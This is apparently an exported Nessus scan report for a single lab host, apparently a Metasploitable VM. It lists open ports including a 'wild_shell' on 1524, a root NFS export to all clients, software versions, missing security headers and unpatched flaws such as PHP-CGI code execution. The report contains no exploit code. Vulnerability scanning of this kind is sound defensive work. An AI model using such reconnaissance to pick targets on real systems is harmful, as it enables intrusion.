- <http://192.168.1.209/dav/?C=M%3BO=A>
- <http://192.168.1.209/dav/?C=N%3BO=D>
- <http://192.168.1.209/dav/?C=S%3BO=A>
- <http://192.168.1.209/dvwa/dvwa/>
- <http://192.168.1.209/dvwa/dvwa/?C=D%3BO=A>
- <http://192.168.1.209/dvwa/dvwa/?C=M%3BO=A>
- <http://192.168.1.209/dvwa/dvwa/?C=N%3BO=D>
- <http://192.168.1.209/dvwa/dvwa/?C=S%3BO=A>

```
- http://192.168.1.209/dvwa/dvwa/css/
- http://192.168.1.209/dvwa/dvwa/css/?C=D%3BO=A
- http://192.168.1.209/dvwa/dvwa/css/?C=M%3BO=A
- http://192.168.1.209/dvwa/dvwa/css/?C=N%3BO=D
- http://192.168.1.209/dvwa/dvwa/css/?C=S%3BO=A
- http://192.168.1.209/dvwa/dvwa/images/
- http://192.168.1.209/dvwa/dvwa/images/?C=D%3BO=A
- http://192.168.1.209/dvwa/dvwa/images/?C=M%3BO=A
- http://192.168.1.209/dvwa/dvwa/images/?C=N%3BO=D
- http://192.168.1.209/dvwa/dvwa/images/?C=S%3BO=A
- http://192.168.1.209/dvwa/dvwa/includes/
- http://192.168.1.209/dvwa/dvwa/includes/?C=D%3BO=A
- http://192.168.1.209/dvwa/dvwa/includes/?C=M%3BO=A
- http://192.168.1.209/dvwa/dvwa/includes/?C=N%3BO=D
- http://192.168.1.209/dvwa/dvwa/includes/?C=S%3BO=A
- http://192.168.1.209/dvwa/dvwa/includes/DBMS/
- http://192.168.1.209/dvwa/dvwa/includes/DBMS/?C=D%3BO=A
- http://192.168.1.209/dvwa/dvwa/includes/DBMS/?C=M%3BO=A
- http://192.168.1.209/dvwa/dvwa/includes/DBMS/?C=N%3BO=D
- http://192.168.1.209/dvwa/dvwa/includes/DBMS/?C=S%3BO=A
- http://192.168.1.209/dvwa/dvwa/includes/DBMS/DBMS.php
- http://192.168.1.209/dvwa/dvwa/includes/DBMS/MySQL.php
- http://192.168.1.209/dvwa/dvwa/includes/dvwaPage.inc.php
- http://192.168.1.209/dvwa/dvwa/includes/dvwaPhpIds.inc.php
- http://192.168.1.209/dvwa/dvwa/js/
- http://192.168.1.209/dvwa/dvwa/js/?C=D%3BO=A
- http://192.168.1.209/dvwa/dvwa/js/?C=M%3BO=A
- http://192.168.1.209/dvwa/dvwa/js/?C=N%3BO=D
- http://192.16 [ ... ]
```

Synopsis

The remote web server does not take steps to mitigate a class of web application vulnerabilities.

Description

The remote web server in some responses sets a permissive Content-Security-Policy (CSP) frame-ancestors response header or does not set one at all.

The CSP frame-ancestors header has been proposed by the W3C Web Application Security Working Group as a way to mitigate cross-site scripting and clickjacking attacks.

See Also

<http://www.nessus.org/u?55aa8f57>

<http://www.nessus.org/u?07cc2a06>

<https://content-security-policy.com/>

<https://www.w3.org/TR/CSP2/>

Solution

Set a non-permissive Content-Security-Policy frame-ancestors header for all requested resources.

Risk Factor

None

Plugin Information

Published: 2010/10/26, Modified: 2021/01/19

Plugin Output

tcp/8180/www

The following pages do not set a Content-Security-Policy frame-ancestors response header or set a permissive policy:

- <http://192.168.1.209:8180/>
- <http://192.168.1.209:8180/admin/>
- <http://192.168.1.209:8180/admin/error.jsp>
- http://192.168.1.209:8180/admin/j_security_check
- <http://192.168.1.209:8180/jsp-examples/>
- <http://192.168.1.209:8180/jsp-examples/cal/Entries.java.html>
- <http://192.168.1.209:8180/jsp-examples/cal/Entry.java.html>
- <http://192.168.1.209:8180/jsp-examples/cal/TableBean.java.html>
- <http://192.168.1.209:8180/jsp-examples/cal/cal1.jsp>
- <http://192.168.1.209:8180/jsp-examples/cal/cal1.jsp.html>
- <http://192.168.1.209:8180/jsp-examples/cal/cal2.jsp.html>

```
- http://192.168.1.209:8180/jsp-examples/cal/calendar.html
- http://192.168.1.209:8180/jsp-examples/cal/login.html
- http://192.168.1.209:8180/jsp-examples/checkbox/CheckTest.html
- http://192.168.1.209:8180/jsp-examples/checkbox/check.html
- http://192.168.1.209:8180/jsp-examples/checkbox/checkresult.jsp
- http://192.168.1.209:8180/jsp-examples/checkbox/checkresult.jsp.html
- http://192.168.1.209:8180/jsp-examples/checkbox/cresult.html
- http://192.168.1.209:8180/jsp-examples/colors/ColorGameBean.html
- http://192.168.1.209:8180/jsp-examples/colors/clr.html
- http://192.168.1.209:8180/jsp-examples/colors/colors.html
- http://192.168.1.209:8180/jsp-examples/colors/colrs.jsp
- http://192.168.1.209:8180/jsp-examples/colors/colrs.jsp.html
- http://192.168.1.209:8180/jsp-examples/dates/date.html
- http://192.168.1.209:8180/jsp-examples/dates/date.jsp
- http://192.168.1.209:8180/jsp-examples/dates/date.jsp.html
- http://192.168.1.209:8180/jsp-examples/error/er.html
- http://192.168.1.209:8180/jsp-examples/error/err.jsp
- http://192.168.1.209:8180/jsp-examples/error/err.jsp.html
- http://192.168.1.209:8180/jsp-examples/error/error.html
- http://192.168.1.209:8180/jsp-examples/forward/forward.jsp
- http://192.168.1.209:8180/jsp-examples/forward/forward.jsp.html
- http://192.168.1.209:8180 [...]
```

Synopsis

The remote web server does not take steps to mitigate a class of web application vulnerabilities.

Description

The remote web server in some responses sets a permissive X-Frame-Options response header or does not set one at all.

The X-Frame-Options header has been proposed by Microsoft as a way to mitigate clickjacking attacks and is currently supported by all major browser vendors

See Also

<https://en.wikipedia.org/wiki/Clickjacking>

<http://www.nessus.org/u?399b1f56>

Solution

Set a properly configured X-Frame-Options header for all requested resources.

Risk Factor

None

Plugin Information

Published: 2010/10/26, Modified: 2021/01/19

Plugin Output

tcp/80/www

The following pages do not set a X-Frame-Options response header or set a permissive policy:

- http://192.168.1.209/
- http://192.168.1.209/dav/
- http://192.168.1.209/dav/?C=D%3BO=A
- http://192.168.1.209/dav/?C=M%3BO=A
- http://192.168.1.209/dav/?C=N%3BO=D
- http://192.168.1.209/dav/?C=S%3BO=A
- http://192.168.1.209/dvwa/dvwa/
- http://192.168.1.209/dvwa/dvwa/?C=D%3BO=A
- http://192.168.1.209/dvwa/dvwa/?C=M%3BO=A
- http://192.168.1.209/dvwa/dvwa/?C=N%3BO=D
- http://192.168.1.209/dvwa/dvwa/?C=S%3BO=A
- http://192.168.1.209/dvwa/dvwa/css/
- http://192.168.1.209/dvwa/dvwa/css/?C=D%3BO=A
- http://192.168.1.209/dvwa/dvwa/css/?C=M%3BO=A
- http://192.168.1.209/dvwa/dvwa/css/?C=N%3BO=D
- http://192.168.1.209/dvwa/dvwa/css/?C=S%3BO=A

```
- http://192.168.1.209/dvwa/dvwa/images/
- http://192.168.1.209/dvwa/dvwa/images/?C=D%3BO=A
- http://192.168.1.209/dvwa/dvwa/images/?C=M%3BO=A
- http://192.168.1.209/dvwa/dvwa/images/?C=N%3BO=D
- http://192.168.1.209/dvwa/dvwa/images/?C=S%3BO=A
- http://192.168.1.209/dvwa/dvwa/includes/
- http://192.168.1.209/dvwa/dvwa/includes/?C=D%3BO=A
- http://192.168.1.209/dvwa/dvwa/includes/?C=M%3BO=A
- http://192.168.1.209/dvwa/dvwa/includes/?C=N%3BO=D
- http://192.168.1.209/dvwa/dvwa/includes/?C=S%3BO=A
- http://192.168.1.209/dvwa/dvwa/includes/DBMS/
- http://192.168.1.209/dvwa/dvwa/includes/DBMS/?C=D%3BO=A
- http://192.168.1.209/dvwa/dvwa/includes/DBMS/?C=M%3BO=A
- http://192.168.1.209/dvwa/dvwa/includes/DBMS/?C=N%3BO=D
- http://192.168.1.209/dvwa/dvwa/includes/DBMS/?C=S%3BO=A
- http://192.168.1.209/dvwa/dvwa/includes/DBMS/DBMS.php
- http://192.168.1.209/dvwa/dvwa/includes/DBMS/MySQL.php
- http://192.168.1.209/dvwa/dvwa/includes/dvwaPage.inc.php
- http://192.168.1.209/dvwa/dvwa/includes/dvwaPhpIds.inc.php
- http://192.168.1.209/dvwa/dvwa/js/
- http://192.168.1.209/dvwa/dvwa/js/?C=D%3BO=A
- http://192.168.1.209/dvwa/dvwa/js/?C=M%3BO=A
- http://192.168.1.209/dvwa/dvwa/js/?C=N%3BO=D
- http://192.168.1.209/dvwa/dvwa/js/?C= [...]
```


Synopsis

The remote web server does not take steps to mitigate a class of web application vulnerabilities.

Description

The remote web server in some responses sets a permissive X-Frame-Options response header or does not set one at all.

The X-Frame-Options header has been proposed by Microsoft as a way to mitigate clickjacking attacks and is currently supported by all major browser vendors

See Also

<https://en.wikipedia.org/wiki/Clickjacking>

<http://www.nessus.org/u?399b1f56>

Solution

Set a properly configured X-Frame-Options header for all requested resources.

Risk Factor

None

Plugin Information

Published: 2010/10/26, Modified: 2021/01/19

Plugin Output

tcp/8180/www

The following pages do not set a X-Frame-Options response header or set a permissive policy:

- http://192.168.1.209:8180/
- http://192.168.1.209:8180/admin/
- http://192.168.1.209:8180/admin/error.jsp
- http://192.168.1.209:8180/admin/j_security_check
- http://192.168.1.209:8180/jsp-examples/
- http://192.168.1.209:8180/jsp-examples/cal/Entries.java.html
- http://192.168.1.209:8180/jsp-examples/cal/Entry.java.html
- http://192.168.1.209:8180/jsp-examples/cal/TableBean.java.html
- http://192.168.1.209:8180/jsp-examples/cal/call.jsp
- http://192.168.1.209:8180/jsp-examples/cal/call.jsp.html
- http://192.168.1.209:8180/jsp-examples/cal/cal2.jsp.html
- http://192.168.1.209:8180/jsp-examples/cal/calendar.html
- http://192.168.1.209:8180/jsp-examples/cal/login.html
- http://192.168.1.209:8180/jsp-examples/checkbox/CheckTest.html
- http://192.168.1.209:8180/jsp-examples/checkbox/check.html
- http://192.168.1.209:8180/jsp-examples/checkbox/checkresult.jsp

- <http://192.168.1.209:8180/jsp-examples/checkbox/checkresult.jsp.html>
- <http://192.168.1.209:8180/jsp-examples/checkbox/cresult.html>
- <http://192.168.1.209:8180/jsp-examples/colors/ColorGameBean.html>
- <http://192.168.1.209:8180/jsp-examples/colors/clr.html>
- <http://192.168.1.209:8180/jsp-examples/colors/colors.html>
- <http://192.168.1.209:8180/jsp-examples/colors/colrs.jsp>
- <http://192.168.1.209:8180/jsp-examples/colors/colrs.jsp.html>
- <http://192.168.1.209:8180/jsp-examples/dates/date.html>
- <http://192.168.1.209:8180/jsp-examples/dates/date.jsp>
- <http://192.168.1.209:8180/jsp-examples/dates/date.jsp.html>
- <http://192.168.1.209:8180/jsp-examples/error/er.html>
- <http://192.168.1.209:8180/jsp-examples/error/err.jsp>
- <http://192.168.1.209:8180/jsp-examples/error/err.jsp.html>
- <http://192.168.1.209:8180/jsp-examples/error/error.html>
- <http://192.168.1.209:8180/jsp-examples/forward/forward.jsp>
- <http://192.168.1.209:8180/jsp-examples/forward/forward.jsp.html>
- [http://192.168.1.209:8180/jsp-examples/forward/fw \[... \]](http://192.168.1.209:8180/jsp-examples/forward/fw [...])

Synopsis

A database server is listening on the remote port.

Description

The remote host is running MySQL, an open source database server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0802

Plugin Information

Published: 2001/08/13, Modified: 2021/05/10

Plugin Output

tcp/3306/mysql

```
Version : 5.0.51a-3ubuntu5
Protocol : 10
Server Status : SERVER_STATUS_AUTOCOMMIT
Server Capabilities :
  CLIENT_LONG_FLAG (Get all column flags)
  CLIENT_CONNECT_WITH_DB (One can specify db on connect)
  CLIENT_COMPRESS (Can use compression protocol)
  CLIENT_PROTOCOL_41 (New 4.1 protocol)
  CLIENT_SSL (Switch to SSL after handshake)
  CLIENT_TRANSACTIONS (Client knows about transactions)
  CLIENT_SECURE_CONNECTION (New 4.1 authentication)
```

Synopsis

The remote NFS server exports a list of shares.

Description

This plugin retrieves the list of NFS exported shares.

See Also

<http://www.tldp.org/HOWTO/NFS-HOWTO/security.html>

Solution

Ensure each share is intended to be exported.

Risk Factor

None

Plugin Information

Published: 2000/06/07, Modified: 2019/10/04

Plugin Output

tcp/2049/rpc-nfs

```
Here is the export list of 192.168.1.209 :
```

```
/ *
```

Synopsis

This plugin displays information about the Nessus scan.

Description

This plugin displays, for each tested host, information about the scan itself :

- The version of the plugin set.
- The type of scanner (Nessus or Nessus Home).
- The version of the Nessus Engine.
- The port scanner(s) used.
- The port range scanned.
- The ping round trip time
- Whether credentialed or third-party patch management checks are possible.
- Whether the display of superseded patches is enabled
- The date of the scan.
- The duration of the scan.
- The number of hosts scanned in parallel.
- The number of checks done in parallel.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2005/08/26, Modified: 2021/09/27

Plugin Output

tcp/0

```
Information about this scan :
```

```
Nessus version : 10.0.1
Nessus build : 20287
Plugin feed version : 202112061449
Scanner edition used : Nessus Home
Scanner OS : LINUX
Scanner distribution : es7-x86-64
Scan type : Normal
Scan name : Full Scan
```

```
Scan policy used : Advanced Scan
Scanner IP : 192.168.1.188
Port scanner(s) : nessus_tcp_scanner
Port range : default
Ping RTT : 22.508 ms
Thorough tests : yes
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialled checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : enabled
Web application tests : enabled
Web app tests - Test mode : some_pairs
Web app tests - Try all HTTP methods : yes
Web app tests - Maximum run time : 5 minutes.
Web app tests - Stop at first flaw : port
Max hosts : 100
Max checks : 5
Recv timeout : 5
Backports : Detected
Allow post-scan editing: Yes
Scan Start Date : 2021/12/6 15:43 EST
Scan duration : 5612 sec
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/21/ftp

```
Port 21/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/22/ssh

```
Port 22/tcp was found to be open
```


Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/23/telnet

```
Port 23/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/25/smtp

```
Port 25/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/53/dns

```
Port 53/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/80/www

```
Port 80/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/111/rpc-portmapper

```
Port 111/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/139/smb

```
Port 139/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/445/cifs

```
Port 445/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/512

```
Port 512/tcp was found to be open
```


Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/513/rlogin

```
Port 513/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/514

```
Port 514/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/1099/rmi_registry

```
Port 1099/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/1524/wild_shell

```
Port 1524/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/2049/rpc-nfs

```
Port 2049/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/2121/ftp

```
Port 2121/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/3306/mysql

```
Port 3306/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/3632

```
Port 3632/tcp was found to be open
```


Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/5432/postgresql

```
Port 5432/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/5900/vnc

```
Port 5900/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/6000/x11

```
Port 6000/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/6667/irc

```
Port 6667/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/8009/ajp13

```
Port 8009/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/8180/www

```
Port 8180/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/8787

```
Port 8787/tcp was found to be open
```

Synopsis

It is possible to guess the remote operating system.

Description

Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP, SNMP, etc.), it is possible to guess the name of the remote operating system in use. It is also possible sometimes to guess the version of the operating system.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2003/12/09, Modified: 2021/09/27

Plugin Output

tcp/0

```
Remote operating system : Linux Kernel 2.6 on Ubuntu 8.04 (gutsy)
Confidence level : 95
Method : HTTP
```

Not all fingerprints could give a match. If you think some or all of the following could be used to identify the host's operating system, please email them to os-signatures@nessus.org. Be sure to include a brief description of the host itself, such as the actual operating system or product / model names.

```
SSH:SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
ICMP::1:1:0:64:1:64:1:0::0::1:>64:64:0:1:1:2:1:1:1:0:64:5792:MSTNW:7:1:1
SinFP:
  P1:B10113:F0x12:W5840:00204ffff:M1460:
  P2:B10113:F0x12:W5792:00204ffff0402080affffff4445414401030307:M1460:
  P3:B00000:F0x00:W0:00:M0
  P4:190002_7_p=2121
SMTP:!:220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
SSLcert:!:i/CN:ubuntu804-base.localdomaini/O:OCOSAI/OU:Office for Complication of Otherwise Simple
Affairss/CN:ubuntu804-base.localdomains/O:OCOSAs/OU:Office for Complication of Otherwise Simple
Affairs
ed093088706603bfd5dc237399b498da2d4d31c6
i/CN:ubuntu804-base.localdomaini/O:OCOSAI/OU:Office for Complication of Otherwise Simple Affairss/
CN:ubuntu804-base.localdomains/O:OCOSAs/OU:Office for Complication of Otherwise Simple Affairs
ed093088706603bfd5dc237399b498da2d4d31c6
```


The remote host is running Linux Kernel 2.6 on Ubuntu 8.04 (gutsy)

Synopsis

OS Security Patch Assessment is not available.

Description

OS Security Patch Assessment is not available on the remote host.

This does not necessarily indicate a problem with the scan.

Credentials may not have been provided, OS security patch assessment may not be supported for the target, the target may not have been identified, or another issue may have occurred that prevented OS security patch assessment from being available. See plugin output for details.

This plugin reports non-failure information impacting the availability of OS Security Patch Assessment. Failure information is reported by plugin 21745 : 'OS Security Patch Assessment failed'. If a target host is not supported for OS Security Patch Assessment, plugin 110695 : 'OS Security Patch Assessment Checks Not Supported' will report concurrently with this plugin.

Solution

n/a

Risk Factor

None

References

XREF IAVB:0001-B-0515

Plugin Information

Published: 2018/10/02, Modified: 2021/07/12

Plugin Output

tcp/0

The following issues were reported :

```
- Plugin      : no_local_checks_credentials.nasl
  Plugin ID   : 110723
  Plugin Name : Target Credential Status by Authentication Protocol - No Credentials Provided
  Message     :
  Credentials were not provided for detected SSH service.
```

Synopsis

Previously open ports are now closed.

Description

One of several ports that were previously open are now closed or unresponsive.

There are several possible reasons for this :

- The scan may have caused a service to freeze or stop running.
- An administrator may have stopped a particular service during the scanning process.

This might be an availability problem related to the following :

- A network outage has been experienced during the scan, and the remote network cannot be reached anymore by the scanner.
- This scanner may have been blacklisted by the system administrator or by an automatic intrusion detection / prevention system that detected the scan.
- The remote host is now down, either because a user turned it off during the scan or because a select denial of service was effective.

In any case, the audit of the remote host might be incomplete and may need to be done again.

Solution

- Increase checks_read_timeout and/or reduce max_checks.
- Disable any IPS during the Nessus scan

Risk Factor

None

References

XREF IAVB:0001-B-0509

Plugin Information

Published: 2002/03/19, Modified: 2021/07/23

Plugin Output

tcp/0

```
Port 5432 was detected as being open but is now closed
```

Port 25 was detected as being open but is now closed

Synopsis

The remote service appears to use OpenSSL to encrypt traffic.

Description

Based on its response to a TLS request with a specially crafted server name extension, it seems that the remote service is using the OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that have enabled support for TLS extensions (RFC 4366).

See Also

<https://www.openssl.org/>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/11/30, Modified: 2020/06/12

Plugin Output

tcp/25/smtp

Synopsis

The remote service appears to use OpenSSL to encrypt traffic.

Description

Based on its response to a TLS request with a specially crafted server name extension, it seems that the remote service is using the OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that have enabled support for TLS extensions (RFC 4366).

See Also

<https://www.openssl.org/>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/11/30, Modified: 2020/06/12

Plugin Output

tcp/5432/postgresql

Synopsis

It was possible to obtain the version number of the remote PHP installation.

Description

Nessus was able to determine the version of PHP available on the remote web server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0936

Plugin Information

Published: 2010/08/04, Modified: 2020/09/22

Plugin Output

tcp/80/www

Nessus was able to identify the following PHP version information :

```
Version : 5.2.4-2ubuntu5.10
Source  : X-Powered-By: PHP/5.2.4-2ubuntu5.10
Source  : http://192.168.1.209/phpinfo.php
```

Synopsis

The remote host is missing several patches.

Description

The remote host is missing one or more security patches. This plugin lists the newest version of each patch to install to make sure the remote host is up-to-date.

Solution

Install the patches listed below.

Risk Factor

None

Plugin Information

Published: 2013/07/08, Modified: 2021/11/09

Plugin Output

tcp/0

```
. You need to take the following 7 actions :
```

```
[ Apache PHP-CGI Remote Code Execution (70728) ]
```

```
+ Action to take : Upgrade to PHP 5.3.13 / 5.4.3 or later.
```

```
+Impact : Taking this action will resolve 4 different vulnerabilities (CVEs).
```

```
[ ISC BIND 9.x < 9.11.22, 9.12.x < 9.16.6, 9.17.x < 9.17.4 DoS (139915) ]
```

```
+ Action to take : Upgrade to BIND 9.11.22, 9.16.6, 9.17.4 or later.
```

```
+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).
```

```
[ PHP PHP-CGI Query String Parameter Injection Arbitrary Code Execution (59088) ]
```

```
+ Action to take : If using Lotus Foundations, upgrade the Lotus Foundations operating system to  
version 1.2.2b or later.
```

```
Otherwise, upgrade to PHP 5.3.13 / 5.4.3 or later.
```

```
+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).
```


[Samba Badlock Vulnerability (90509)]

+ Action to take : Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later.

